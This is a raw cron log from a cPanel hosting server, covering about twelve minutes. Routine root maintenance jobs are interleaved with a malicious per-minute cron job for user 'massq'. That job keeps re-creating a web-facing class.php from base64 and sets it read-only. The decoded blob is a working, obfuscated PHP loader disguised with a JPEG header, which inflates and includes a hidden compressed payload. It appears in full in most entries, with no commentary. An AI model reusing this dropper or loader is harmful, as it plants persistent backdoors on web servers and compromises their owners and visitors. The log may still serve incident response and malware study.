Sep 10 13:34:01 server CROND[5641]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:34:01 server CROND[5642]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 13:35:01 server CROND[6036]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 13:35:01 server CROND[6038]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 10 13:35:01 server CROND[6042]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 13:35:01 server CROND[6041]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 13:35:01 server CROND[6039]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:35:01 server CROND[6040]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 13:35:01 server CROND[6043]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 13:35:01 server CROND[6044]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 13:35:01 server CROND[6045]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:36:01 server CROND[6893]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:36:01 server CROND[6894]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 13:36:01 server CROND[6896]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:37:01 server CROND[7264]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 13:37:01 server CROND[7265]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:37:01 server CROND[7266]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:38:01 server CROND[7749]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:38:01 server CROND[7751]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:38:01 server CROND[7750]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 13:39:01 server CROND[8132]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:39:01 server CROND[8134]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 13:39:01 server CROND[8133]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:39:01 server CROND[8135]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 10 13:40:01 server CROND[8542]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:40:01 server CROND[8544]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 13:40:01 server CROND[8543]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 13:40:01 server CROND[8549]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 13:40:01 server CROND[8547]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 13:40:01 server CROND[8545]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 13:40:01 server CROND[8552]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 13:40:01 server CROND[8548]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:41:01 server CROND[9384]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:41:01 server CROND[9385]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 13:41:01 server CROND[9386]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:42:02 server CROND[9776]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 13:42:02 server CROND[9777]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 13:42:02 server CROND[9775]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:42:02 server CROND[9778]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:43:01 server CROND[10309]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:43:01 server CROND[10310]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 13:43:01 server CROND[10311]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:44:01 server CROND[10681]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:44:01 server CROND[10682]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 13:44:01 server CROND[10683]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:45:01 server CROND[11061]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:45:01 server CROND[11063]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 13:45:01 server CROND[11078]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 13:45:01 server CROND[11079]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 13:45:01 server CROND[11082]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:45:01 server CROND[11077]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
